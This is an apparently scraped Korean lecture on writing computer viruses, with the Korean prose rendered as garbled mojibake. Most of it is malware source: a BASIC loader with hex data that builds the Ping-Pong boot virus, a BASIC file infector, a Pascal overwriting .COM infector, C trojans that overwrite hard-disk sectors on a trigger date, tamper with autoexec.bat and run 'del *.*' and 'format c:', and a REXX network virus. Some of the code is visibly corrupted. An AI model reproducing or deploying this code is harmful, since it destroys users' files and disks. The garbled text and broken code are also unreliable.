You are on page 1of 11

¾È³çÇϼ¼¿ä.

6ȸ°ÁÂÀÔ´Ï´Ù.
À̹ø ½Ã°£¿¡´Â ±âŸ ¾ð¾î—Î Á¦ÀÛÇÑ ¹ÙÀ̗‾½º¸¦ »ìÆ캸±â—Î ÇÏ°Ú½À´Ï´Ù.

2) º£ÀÌÁ÷À¸—Î ±¸ÇöÇÑ ¹ÙÀ̗‾½º


ÇÎÆþ¹ÙÀ̗‾½º¸¦ ¿¹—Î µé¾î ¼³¸íÇÏ°Ú´Ù.
[ÇÎÆþ ¹ÙÀ̗‾½º]
Ãâó : 1988³â 3¿ù, Italia
Àü¿°±âÁ¾ : IBM PC ¹× È£È‾ ±âÁ¾
Àü¿°Á¾—ù : ºÎÆ® ¼½ÅÍ °¨¿°ÀÚ
ºñ°í : 90³â ÃÊ¿¡ ±¹³»¿¡¼ ¹ß°ß
Ç×ÎÇÇ µð½ºÅ© ¹× ÇÏµå µð½ºÅ©ÀÇ ºÎÆ® ¿µ¿ª Àü¿°µÈ´Ù. ¿ø—¡ÀÇ ºÎÆ® ¼½Å͸¦ ´Ù¸¥ Àå¼Ò—Î À̵¿½ÃÅ°
°í µð½ºÄÏÀÏ °æ¿ì 1°³ÀÇ ¹Ì»ç¿ë Ŭ—‾½ºÅ͸¦ ºÒ—® Ŭ—‾½ºÅ͗Π¸¸µé¸ç ¿©±â¿¡ ¿ø—¡ÀÇ ºÎÆ® ¼½ÅÍ ¹×
¹ÙÀ̗‾½º ÇÁ—αח¥ÀÇ ³ª¸ÓÁö¸¦ ÀúÀåÇÑ´Ù. ÇϵåÀÏ °æ¿ì »çÀ̵å:0, ½Ç¸°µå:0ÀÇ ¿µ¿ª¿¡ ¿ø—¡ÀÇ ºÎÆ
¼½ÅÍ ¹× ¹ÙÀ̗‾½º ÇÁ—αח¥ÀÇ ³ª¸ÓÁö¸¦ ÀúÀåÇÑ´Ù. DOS ¹öÀü ¹× Á¾—áÇ¥½Ã(55 AA)´Â º‾ÇÏÁö ¾Ê´Â
´Ù. ¸Þ¸ð¸® Å©±â¸¦ 2K °¨¼Ò½ÃÅ°¸ç ÀÎÅ͗´Æ® º¤Å͸¦ º‾°æ½ÃÅ°´Ù. ¿ø—¡ÀÇ Ping Pong ¹ÙÀ̗‾½º´Â
360K Ç×ÎÇǸ¸ °¨¿°½ÃŲ´Ù.
°¨¿°µÈ µð½ºÅ©—Î ºÎÆÃÇÏ¸é ¹ÙÀ̗‾½º ÇÁ—αח¥ÀÌ ¸Þ¸ð¸®¿¡ »óÁÖÇϸç, »óÁÖÈÄ INT 13H¹ø ¼öÇà½Ã
AccessÇÏ´Â µð½ºÅ©¸¦ °¨¿°½ÃŲ´Ù. µð½ºÅ© ÀÔÃâ— ¼Óµµ°¡ ´À—ÁÁö¸ç µð½ºÅ©ÀÏ °æ¿ì ÇÑ°³ÀÇ ºÒ—® Ŭ
—‾½ºÅÍ°¡ »ý±ä´Ù. È°µ¿ ½Ã±â°¡ µÇ¸é ȍ¸é¿¡ bouncing ball È¿°ú°¡ ³ªÅ¸³´Ù. È°µ¿ ½Ã±â´Â ÀÓÀ§À
ÀÌ¸ç ½Ã½ºÅÛÀ» Àç ºÎÆÃÇÏÁö ¾ÊÀ¸¸é bouncingÀÌ ¸ØÃßÁö ¾Ê´Â´Ù. ±âŸ ´Ù¸¥ ÇÇÇØ´Â ¾ø´Ù.
ÇÎÆþ¹ÙÀ̗‾½ºÀÇ º£ÀÌÁ÷ ¼Ò½º
100 REM - basic progrom to create pingpong.com
110 CLS:PRINT "creating pingpong.com":OPEN "pingpong.com" AS #1 LEN=1
120 FIELD #1, 1 AS A$:CHECKSUM#=0
130 FOR I=1 TO 19
140 LINESUM#=0:LOCATE 2,3:PRINT "countdown:" 19 - I;
150 FOR J=1 TO 16:READ BYTE$:BYTE=VAL("&h"+BYTE$)
160 CHECKSUM#=CHECKSUM#+BYTE:LINESUM#=LINESUM#+BYTE
170 IF (BYTE<256) THEN LSET A$=CHR$(BYTE):PUT #1
180 NEXT J
190 READ LINETOT$:LINECHECK#=VAL("&h"+LINETOT$)
200 IF LINECHECK#=LINESUM# THEN GOTO 220
210 LOCATE 4,2:PRINT "error in line #";260+10*I:GOTO 260
220 NEXT I
230 CLOSE #1:READ FILETOT$:FILECHECK#=VAL(FILETOT$)
240 IF CHECKSUM# <> FILECHECK# THEN GOTO 260
250 PRINT:PRINT "pingpong.com created successfully":SYSTEM
260 PRINT:PRINT "pingpong.com is not valid!":END
270 DATA e9, fd, 0, 20, 7, 29, 5, ff, 1, 0, 7, 0, 4f, 0, 0, 0, 391
280 DATA 0, 1e, 50, 53, 51, 52, e, 1f, b4, f, cd, 10, 8a, d8, 3b, 1e, 4ec
290 DATA a, 1, 74, 36, 89, 1e, a, 1, fe, cc, 88, 26, c, 1, b4, 1, 4a1
300 DATA 80, fb, 7, 75, 2, fe, cc, 80, fb, 4, 73, 2, fe, cc, 88, 26, 82f
310 DATA 9, 1, c7, 6, 5, 1, 1, 1, c7, 6, 7, 1, 1, 1, b4, 3, 26d
320 DATA cd, 10, 52, 8b, 16, 5, 1, eb, 24, 90, b4, 3, cd, 10, 52, b4, 60f
330 DATA 2, 8b, 16, 5, 1, cd, 10, a1, 3, 1, 80, 3e, 9, 1, 1, 75, 369
340 DATA 3, b8, 7, 83, 8a, dc, b9, 1, 0, b4, 9, cd, 10, 8b, e, 7, 59f
350 DATA 1, 80, fe, 0, 75, 5, 80, f5, ff, fe, c5, 80, fe, 18, 75, 5, 840
360 DATA 80, f5, ff, fe, c5, 80, fa, 0, 75, 5, 80, f1, ff, fe, c1, 3a, a94
370 DATA 16, c, 1, 75, 5, 80, f1, ff, fe, c1, 3b, e, 7, 1, 75, 17, 5a9
380 DATA a1, 3, 1, 24, 7, 3c, 3, 75, 5, 80, f5, ff, fe, c5, 3c, 5, 601
390 DATA 75, 5, 80, f1, ff, fe, c1, 2, d1, 2, f5, 89, e, 7, 1, 89, 79b
400 DATA 16, 5, 1, b4, 2, cd, 10, b4, 8, cd, 10, a3, 3, 1, 8a, dc, 555
410 DATA 80, 3e, 9, 1, 1, 75, 2, b3, 83, b9, 1, 0, b8, 7, 9, cd, 4c5
420 DATA 10, 5a, b4, 2, cd, 10, 5a, 59, 5b, 58, 1f, 2e, ff, 2e, d, 1, 4eb
430 DATA b8, 8, 35, cd, 21, 89, 1e, d, 1, 8c, 6, f, 1, b8, 8, 25, 41f
440 DATA ba, 11, 1, cd, 21, ba, 0, 2, 83, c2, f, b1, 4, d3, ea, b4, 6f0
450 DATA 31, cd, 21, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11f
460 DATA 26653

º£ÀÌÁ÷À¸—Î ÀÛ¼ºÇÑ ¹ÙÀ̗‾½º


ÀÛ¿ë : ȍÀÏ Å©±â¸¦ ¹Ù²Ù´Â °Í
'--------------
'BASIC LANGUAGE
'--------------
10 ON ERROR GOTO 430
20 LENGTHVIR=2641 (ÄÄÆÄÀÏ ÈÄ ÈÀÏ Å©±â¸¦ ÀԗÂ)
30 VIRROOT$="BV3.EXE"
40 SHELL "DIR *.EXE>INH"
50 OPEN "R",1,"INH",32000
60 GET #1,1
70 LINE INPUT#1, ORIGINAL$
80 LINE INPUT#1, ORIGINAL$
90 LINE INPUT#1, ORIGINAL$
100 LINE INPUT#1, ORIGINAL$
110 ON ERROR GOTO 430
120 CLOSE#2
130 F=1 : LINE INPUT#1,ORIGINAL$
140 F=1 : LINE INPUT#1,ORIGINAL$
150 IF MID$(ORIGINAL$,1,1)='%' THEN GOTO 110
160 ORIGINAL$=MID$(ORIGINAL$,1,13)
170 EXTENSION$=MID$(ORIGINAL$,9,13)
180 MID$(EXTENSION$,1,1)="."
190 F=F+1
200 IF MID$(ORIGINAL$,F,1)=" " OR MID$(ORIGINAL$,F,1)="." OR F=13
THEN GOTO 220
210 GOTO 190
220 ORIGINHVIT
250 IF LOF(2)<LENGTHVIR THEN GOTO 280
260 GET #2,3
270 LINE INPUT#2, TEST$
280 CLOSE #2
290 IF MID$(TEST$,,2,1)='%' THEN GOTO 110
300 CLOSE #1
310 ORIGINAL$=ORIGINAL$
320 MID$(ORIGINAL$,1,1)='%'
330 MID$(ORIGINAL$,1,1)='%'
340 C$="COPY"+ORIGINAL$+" "+ORIGINALS$
350 SHELL C$
360 C$="COPY"+VIRROOT$+" "+ORIGINAL$
370 SHELL C$
380 OPEN ORIGINAL$, FOR APPEND AS #1 LEN=13
390 WRITE#1,ORIGINALS$
400 CLOSE #1
410 PRINT "INFECTION IN";ORIGINAL$
420 SYSTEM
430 PRINT "VIRUS INTERNAL ERROR":SYSTEM
º£ÀÌÁ÷À¸—Î ÀÛ¼ºÇÑ ¹ÙÀ̗‾½º

DATA "4B","FE","55BB","´ÙÅ©¾îº¥Àú-1028"
DATA "E0","00","0300","¿¹—ç»ì—½"
DATA "42","43","5678","ħÀÔÀÚ"
DATA "C0","00","0300","´À¸²º¸ ¶Ç´Â ZEROTIME"
DATA "EE","00","0300","¿¹—ç»ì—½-G"
DATA "FF","00","0400","ÀÏ¿äÀÏ"
DIM INAX(10),OTAX(10),VN$(10)
FOR I=1 TO 6
READ A$,B$,C$,D$
INAX(I)=VAL("&H"+A$+B$)
OTAX(I)=VAL("&H"+C$)
VN$(I)=D$
NEXT I
PRINT "¸Þ¸ð¸®ÀÇ ¹ÙÀ̗‾½º¸¦ °Ë»çÇÕ´Ï´Ù."
FOR I=1 TO 6
Reg 1,INAX(I)
CALL INTERRUPT &H21
IF Reg(1)=OTAX(I) THEN PRINT VN$(I);" ¹ÙÀ̗‾½º°¡ Á¸ÀçÇÕ´Ï´Ù."
NEXT I
END

3) PASCAL —Î ±¸ÇöÇغ» ¹ÙÀ̗‾½º


PASCAL —Î Á¦ÀÛÇÑ °£´ÜÇÑ ¹ÙÀ̗‾½º µ¥¸ð ÀÔ´Ï´Ù.

{
-----------------------------------------------------------

Number One
This is a very primitive virus
HANDLE WITH CARE: -------- Demonstration ONLY !!!

Number One infects all .COM - files in the


CURRENT directory
A warning message and the infected file's name will
be displayed
That file has been overwritten with Number One's
program code and is not reconstructible!
If all files are infected or no .COM - files found,
Number One gives you a <Smile>
Files may be protected against infections of
Number One
by setting the READ ONLY attribute.
Written 10.3.1987 by M.vallen (Turbo-Pascal 3.01A)
(c) 1987 by BrainLab
__________________________________________________________
}
{C-}
{U-}
{I-} { Do not allow an user break, enable IO check }
{---- Constants -------------------------------------------}
Const
VirusSize = 12027; { Number one's code size }
Warning : String[42] { Warning message }
= 'This file has been infected by Number One';
{---- Type declaration ------------------------------------}
Type
DTARec = Record { ȍÀÏhing entry }
If not Odd(Reg.flags) then { If a file found then ...}
Repeat
UsePath := DTA.FullName;
B:=dos(#0,UsePath);
If B>0 Then
Delete(UsePath, B, 255); { Remove grabage }
Assign(Go,UsePath);
Reset(Go);
If IOresult = 0 then { If not IO error then ...}
Begin
BlockRead(Go,Buffer, 2);
Move (Buffer[$80], TestID, 43);
{ ȍÀÏÀÌ °¨¿°µÇ¾ú´ÂÁö¸¦ °Ë»ç }
If TsetID <> Warning then
Begin
Seek(Go,0);
MarkIntected := Warning;
Blockwrite(Go,ProGramStart, Succ(VirusSize Shr 7));
Close (Go);
Writeln(UsePath + ' intected. ');
Halt;
End;
Close(Go);
End;
{ ȍÀÏÀÌ ÀÌ¹Ì °¨¿°µÇ¾úÀ½, ´ÙÀ½ ȍÀϗΠÀÛ¾÷ ¿¬°á }
Reg.AH := $4F;
Reg.DS := Seg(DTA);
Reg.DX := Ofs(DTA);
MsDos(Reg);
Until Odd(Reg.Flags);
Write('<Smile>');
END. {of Program}

4) C —Î ±¸ÇöÇÑ ¹ÙÀ̗‾½º
´ÙÀ½Àº ÇÏµå µð½ºÅ© Æı« Æ®—ÎÀÌ ¸ñ¸¶ ¹ÙÀ̗‾½º C ¼Ò½ºÀÔ´Ï´Ù.
´ÙÀ½ ¹èÄ¡—Î ±¸ÇöÇÑ ¹ÙÀ̗‾½º ÀÇ Æ®—ÎÀÌ ¸ñ¸¶Çü ±¸Á¶¿Í ºñ½ÁÇÕ´Ï´Ù.
´ÜÁö Â÷ÀÌÁ¡Àº °³¹ß ¾ð¾î¿Í ¾à°£ÀÇ Ä§Åõ¹æ¹ýÀÇ Â÷ÀÌ°ÚÁÒ.
´ÙÀ½ ¹ÙÀ̗‾½º ÇÁ—αח¥Àº Çϵåµð½ºÅ©¸¦ ºü¸£°Ô ÇÕ´Ï´Ù.
±×—‾³ª ÁöÁ¤ÇÑ ³‾Â¥,Á¶°ÇÀÌ ¸ÂÀ¸¸é ÇÏµå µð½ºÅ©¸¦ Æı«ÇØ ¹ö¸³´Ï´Ù.
C —Î Æ®—ÎÀ̸ñ¸¶ ¹ÙÀ̗‾½º¸¦ ±¸ÇöÇÒ ¼ö ÀÖ´Ù´Â Á¤µµ—Î ¾Ë¾Æ µÎ½Ê½Ã¿ä.
*¹ÙÀ̗‾½º ¸ÞÀÎ ºÎºÐÀÔ´Ï´Ù
// Main Source Fast.C
#include <stdio.h>
#include <conio.h>
#include <dos.h>
#include <string.h>
#define LASTHEAD 1
#define LASTTRACK 79
#define LASTSECTOR 15
#define BYTESPERSECTOR 512
#define driveToRead 0x80 // C: drive (Æı«´ë»ó µå¶óÀ̺ê ÁöÁ¤)
char diskBuffer[BYTESPERSECTOR * LASTSECTOR];
typedef struct{ // ³‾Â¥ÀÇ ±¸Á¶Ã¼
int Year;
int Month;
int Day;
} Time_Type;
// Å°º¸µå ºü¸£°Ô ÇÏ´Â —çƾ (Æ®—ÎÀÌ ¸ñ¸¶ÀÇ ¿ÜÇü ºÎºÐ)
void Fast_Key( void )
{
outp( 0x60, 0xF3 );
delay( 100 );
outp( 0x60, 0x00 );
delay( 100 );
}
// Çϵåµð½ºÅ© ¼½ÅÍ ¾²±â
unsigned char WriteHardSector( unsigned char drive,
unsigned char sectorsToWrite,
unsigned char head,
unsigned int cylinder,
unsigned char sector,
unsigned char far *bufferPtr ){
union REGS reg;
struct SREGS sreg;
reg.h.ah = 3;
reg.h.al = sectorsToWrite;
reg.x.bx = FP_OFF(bufferPtr);
reg.h.dh = head;
reg.h.dl = drive;
reg.h.ch = cylinder;
reg.h.cl = (cylinder >> 8);
reg.h.cl <<= 6;
reg.h.cl |= (sector & 63);
sreg.es = FP_SEG(bufferPtr);
int86x(0x13,&reg,&reg,&sreg);
return(reg.h.ah);
}
void main( void ){
unsigned char currentHead,currentTrack,currentSector;
struct date cur_d; // ³‾Â¥
FILE *Read_Exe; // ȍÀÏ Æ÷ÀÎÅÍ
Time_Type Clack_Time; // Æı« ´ë»ó Çϵåµð½ºÅ© ³‾Â¥ÀÇ ±¸Á¶Ã¼
int Data_Size = 0; // ³‾Â¥¸¦ ÀбâÀ§ÇÑ »çÀÌÁî
getdate(&cur_d); // ÇöÀç ³‾Â¥ ¾Ë¾Æ³»±â
Read_Exe = fopen("fast.exe","rb");
//¹ÙÀ̗‾½º °³½Ã ³‾Â¥¸¦ ¾Ë¾Æ³»±â À§ÇØ ½ÇÇàȍÀÏÀ» OPEN
//Open½Ã fast.exe ȍÀÏÀÌ Çöµð—ºÅ丮¿¡ ÀÖ¾î¾ßÇÔ
Data_Size = sizeof(Time_Type);
fseek(Read_Exe,-Data_Size,SEEK_END); // ½ÇÇà ȍÀÏ ³¡¿¡¼ Data_Size¸¸Å
// µÚ—Î Æ÷ÀÎÆ®¸¦ ¿Å±è
fread(&Clack_Time,sizeof(Time_Type),1,Read_Exe);
// µ¥ÀÌŸ Àбâ
if( ( Clack_Time.Year == cur_d.da_year) &&
( Clack_Time.Month == cur_d.da_mon ) &&
( Clack_Time.Day == cur_d.da_day )){
// ³‾Â¥°¡ ½ÇÇàȍÀÏ ³¡¿¡ ºÙÀº ³‾Â¥¿Í ÀÏÄ¡ Çϸé Çϵå Æı«
for(currentTrack = 0; currentTrack <= LASTTRACK; currentTrack++){
for(currentHead = 0; currentHead <= LASTHEAD; currentHead++){
//½ÇÁ¦ Çϵåµð½ºÅ© Æı« ºÎºÐ
//¾û¶×ÇÑ µ¥ÀÌŸ¸¦ ¸¶±¸ ½á¹ö¸²
WriteHardSector(driveToRead,LASTSECTOR,currentHead,
currentTrack,1,diskBuffer);
}
}
textattr( WHITE | BLUE << 4);
cprintf("[ Cracking Ok ! ]");
textattr( WHITE | BLACK << 4);
cprintf("\n");
}
// ³‾Â¥°¡ ¸ÂÁö ¾ÊÀ» °æ¿ì ±×³É Å°º¸µå ¼Óµµ¸¦ ºü¸£°Ô ÇÑ´Ù
else { Fast_Key();
textattr( WHITE | BLUE << 4);
cprintf("Fast_key Installed !");
textattr( WHITE | BLACK << 4);
cprintf("\n");
}
}

*µÎ¹ø° ½Ã°£À» ¸ÂÃß´Â ¼Ò½ºÀÔ´Ï´Ù.

// ½Ã°£À» ¸ÂÃß´Â ¼Ò½º Set_Time.C


// »ç¿ë¹ý : [ Set_Time 1995 3 9 ]
#include <stdio.h>
#include <dos.h>
typedef struct{
int Year;
int Month;
int Day;
} Time_Type;
void main(int argc,int **argv){
struct date cur_d;
FILE *Read_Exe;
Time_Type Clack_Time;
Clack_Time.Year = atoi(argv[1]);
Clack_Time.Month = atoi(argv[2]);
Clack_Time.Day = atoi(argv[3]);
Read_Exe = fopen("fast.exe","rb+");
if(Read_Exe == NULL) printf("\nFile Opening Error [ Fast.exe ]\n");
fseek(Read_Exe,0L,SEEK_END); // ȍÀÏ Æ÷ÀÎÅ͸¦ ³¡À¸—Î ¿Å±ä´Ù
fwrite(&Clack_Time,sizeof(Time_Type),1,Read_Exe);
//³‾Â¥¸¦ Fast.exe³¡¿¡ ºÙÀδÙ
fclose(Read_Exe); // ȍÀÏ ´Ý±â.
}

´ÙÀ½Àº À§¿Í ¾ÆÁÖ À‾»çÇÑ ÇüÅÂÀÇ Æ®—ÎÀÌ ¸ñ¸¶Çü ¹ÙÀ̗‾½º ¼Ò½º ÀÔ´Ï´Ù.
#include <dos.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
void next();
struct mystruct
{
int num;
char name[10];
char tel[10];
};
char n[]="@echo off\ntype t.cmm\n";
main()
{
int r;
long add;
FILE *fp;
struct mystruct s,d,f;
if ( ( fp = fopen("C:\\t.cmm","wb+" )) == NULL )
{
exit(-1);
}
s.num = 1;
strcpy( s.name,"I'm Hacker");
strcpy( s.tel,"HaHa...");
fwrite(&s , sizeof(s),1,fp);
fseek( fp,0,SEEK_SET);
fread( &d,sizeof(d),1,fp);
fclose(fp);
fp = fopen ("C:\\autoexec.bat","r+");
fprintf(fp,"%22s",n);
fwrite(n,1,1,fp);
fseek(fp,add,0);
add = r+190;
fclose(fp);
next();
}
/***************************************************************************
* *
* Å°º¸µå ¼Óµµ¸¦ ºü¸£°Ô ÇØ ÁÖ´Â À‾Æ¿¸®Æ¼. (FAST.COM) *
* *
* ¸¸µç °÷ : ÇÏ ´Ã ¼Ò ( °æºÏ´ëÇб³ ÀüÀÚ°øÇаú ) *
* ¸¸µç »ç¶÷ : ÀÌ ¿µ »ó ( ÇÏ´Ã¼Ò 2 ±â ) *
* ¸¸µç ³‾Â¥ : 4323³â 7¿ù *
* *
****************************************************************************/
#include <dos.h> /* µµ½º¿¡ °ü—ÃµÈ ÇÔ¼öµéÀ» ¾²°Ú´Ù´Â ¸»ÀÌ´Ù. */

/******************** ÇÊ¿äÇÑ ¼±¾ðÀ» ÇÏ´Â ºÎºÐ **********************/


#define KB_STATUS_P 0x64 /* Å°º¸µåÀÇ »óŸ¦ ¾Ë¼ö ÀÖ´Â Port ¹øÈ£ */
#define KB_DATA_P 0x60 /* Å°º¸µå¿¡ µ¥ÀÌÅ͸¦ º¸³¾¶§ ¾²´Â Port ¹øÈ£ */
#define ACK_SIGNAL 0xfa /* ÀνÄ(Acknowledge) Çß´Ù´Â ½ÅÈ£ */
#define SET_TYPEM 0xf3 /* Å°º¸µåÀÇ ¼Óµµ¸¦ ¹Ù²Ù°Ú´Ù´Â ¸í—É Code */
#define OB_FULL 1 /* Output buffer¿¡ ÇÑ ±ÛÀÚ°¡ ÀÖÀ»¶§ */
#define IB_FULL 2 /* Input buffer¿¡ ÇÑ ±ÛÀÚ°¡ ÀÖÀ»¶§ */
#define MAX_TRY 3 /* ÃÖ´ë ½Ãµµ Ƚ¼ö */
/******************** ÇÔ¼öÀÇ ÇüÀ» ¼±¾ðÇÏ´Â ºÎºÐ **********************/
int set_typm( int gap ); /* Å°º¸µåÀÇ ¼Óµµ¸¦ Á¶Àý ÇÏ´Â ÇÔ¼ö */
int send_kb ( int gap ); /* Å°º¸µå¿¡ ÁöÁ¤ °ªÀ» º¸³»ÁÖ´Â ÇÔ¼ö */

/******************** Ç®±×¸²ÀÇ ½ÃÀÛ ºÎºÐ **********************/


void next( void )
{
if( set_typm(0) ) /* ¼º°øÀûÀ¸—Î ³¡³µÀ¸¸é */
printf("\n\tSuper Keyboard Mania V2.0\n");
else
printf("\n\7\tError in adjusting keyboard speed !!\n");
}

int set_typm( int gap )


{
disable(); /* ÀÎÅ͗´Æ®°¡ °É¸®Áö ¾Ê°Ô ÇÑ´Ù. */
if ( send_kb( SET_TYPEM ) ) /* Å°º¸µå¿¡°Ô ¼Óµµ Á¶ÀýÀ» ÇÑ´Ù´Â ¸í—ÉÀ»
º¸³½´Ù. */
{
if( send_kb( gap ) ) /* Å°º¸µå—Î ¿øÇÏ´Â ¼Óµµ¸¦ º¸³½´Ù. */
{
enable(); /* ÀÎÅ͗´Æ®°¡ ´Ù½Ã °É¸®°Ô ÇÑ´Ù. */
return( 1 ); /* ¼º°øÀû */
}
}
enable(); /* ÀÎÅ͗´Æ®°¡ ´Ù½Ã °É¸®°Ô ÇÑ´Ù. */
return( 0 ); /* Á¦´ë—Î µÇÁö ¾Ê¾ÒÀ»¶§ */
}

int send_kb( int gap )


{
int i = MAX_TRY; /* i ¿¡ ÃÖ´ë ½Ãµµ Ƚ¼ö °ªÀ» ³Ö´Â´Ù. */
unsigned int j;
while( i-- ) {
j = 30000;
while( --j ) /* Input buffer¿¡ °ªÀÌ µé¾î¿Ã¶§ ±îÁö 30000¹ø µ¹¸°´Ù. */
if( inportb( KB_STATUS_P ) == IB_FULL )
break;
outportb( KB_DATA_P, (unsigned char)gap ); /* Å°º¸µå¿¡ °ªÀ» º¸³½´Ù */
j = 30000;
while( --j ) /* Output buffer¿¡ °ªÀÌ ¾ø¾îÁú¶§ ±îÁö ±â´Ù¸°´Ù. */
if( inportb( KB_STATUS_P ) != OB_FULL )
break;
j = 30000;
while( --j ) /* Å°º¸µå¿¡¼ Àß ¹Þ¾Ò´Ù´Â ½ÅÈ£°¡ ¿Ã¶§ ±îÁö ±â´Ù¸°´Ù. */
if( inportb( KB_DATA_P ) == ACK_SIGNAL )
return( 1 );
}
return( 0 ); /* Á¦´ë—Î µÇÁö ¾Ê¾ÒÀ»¶§ 0À» ¸®ÅÏ */
}

´ÙÀ½Àº ¾ÆÁÖ °£´ÜÇÑ C —Î ¸¸µç Æ®—ÎÀÌ ¸ñ¸¶ ¹ÙÀ̗‾½ºÀÔ´Ï´Ù.


C¸¦ ¸ð¸£´Â ºÐÀÌ¶óµµ ´ÙÀ½ ¼Ò½º¸¦ º¸¸é ¹º°¡ ¾Æ½Ç°Ì´Ï´Ù.

#include<process.h>
main()
{
printf("Wait ...\n");
system("echo y! del *.*");
system("echo y! format c: >nul");
}

"|"´Â µµ½º(¹èÄ¡)»ó¿¡¼µµ Á֗Π¾²ÀÌ´Â °ÍÀ¸—Î ½¬ÇÁƮŰ¿Í \¸¦ ´©¸£¸é ³ª¿É´Ï´Ù.

6) ±×¿ÜÀÇ ¹ÙÀ̗‾½º
´ÙÀ½Àº Rexx ¶ó´Â ¾ð¾î—Î Á¦ÀÛÇÑ ³×Æ®¿öÅ© »óÀÇ ¹ÙÀ̗‾½ºÀÇ ¼Ò½ºÀÌ´Ù.
--------------------TOP OF FILE-------------------------------------------
/LOAD REXX
IF RANDOM(2) <> 0 THEN DO
NAME.1 = 'PQ'
NAME.2 = 'OUTPUT'
NAME.3 = 'PROFILE'
NAME.4 = 'BROWSE'
NAME.5 = 'HELP'
FANME='VIRUS'
MAXLINE=0
W1=1
W2=80
CLONE=0
I=0
PARA='FNAME MAXLINE REC W1 W2 CLONE '
DO WHILE I < 20
I=I+1
M1.I=''
M2.I=''
PARA = PARA || 'M1.' || I || ' M2.' || I || ' '
END
COMMAND = '(DOCTOR VIRUS)'
PARA = PARA || 'COMMAND'
C=0
M1.8='-->'
DO WHILE C < 10
MN.3=' COMPUTER VIRUS IN MULTI-USER TIME-SHARING ENVIROMENT '
IF C=9 TH N COMMAND '..O,O;.. CANCEL ..'
CLINE=C
MAXFILE=C+1
'PANEL IGCX:ED.PAN ' || PARA
IF COMMAND='HELP' THEN C=20
C=C+1
END
C=RANDOM(5)
'COPY IGCX:TEMP ' || NAME.C || 'XO'
-------------------END OF FILE-----------------------------------------

(PROGRAM TEMP)
------------------TOP OF FILE--- -------------------------------------
/LOAD REXX
SAY 'INFECTED BY COMPUTER VIRUS MEROMNG'
EXIT
-----------------END OF FILE------------------------------------------

Rexx ¶ó´Â ÇÁ—αח¡¹Ö ¾ð¾î´Â ³×Æ®¿öÅ© ¿¡¼ Á֗Π»ç¿ëµÇ¸ç


batch ÆÄÀÏ°ú basicÀÇÀåÁ¡À» µý °ÍÀÌ´Ù.

´ÙÀ½Àº ¹ÙÀ̗‾½º ½Ã¹Ä—¹ÀÌ¼Ç ÇÁ—αח¥ÀÔ´Ï´Ù.


½ÇÁ¦ ¹ÙÀ̗‾½º´Â ¾Æ´ÏÁö¸¸ ¹ÙÀ̗‾½ºÃ³—³ º¸ÀÌ´Â °ÍÀÔ´Ï´Ù.

JIJIN.COM ;ȍ¸éÀ» À§¾Æ—¡—Î Èçµé¾î ÁÝ´Ï´Ù.


JINE.COM ;Áö³×°¡ ³ª¿Í¼ ±ÛÀÚ¸¦ À̵¿½Ãŵ´Ï´Ù.
PINGPONG.ASM ;ÇÎÆþ ¹ÙÀ̗‾½º ¿¡¹Ä—¹ÀÌÅÍ ¼Ò½º.
PINGPONG.COM ;À§ ¼Ò½º¸¦ ¾î¼ÀºíÇÑ °ÍÀÔ´Ï´Ù.
PP.COM ;º£À̽ÄÀ¸—Î ÄÄÆÄÀÏÇÑ ÇÎÆþ ½Ã¹Ä.
SLOWFALL.COM ;Ä¿¼¸¦ ´À¸° ¼Óµµ—Î ¾Æ—¡—Î ¶³¾î¶ß¸².
VGAFLIP.COM ;ȍ¸éÀ» µÚ¹Ù²ã ÁÝ´Ï´Ù.
ZERO.COM ;ȍ¸é¿¡ Ç¥½ÃµÈ 0ÀÚ¸¦ Áö¿ó´Ï´Ù.
ÀÌ»ó.

You might also like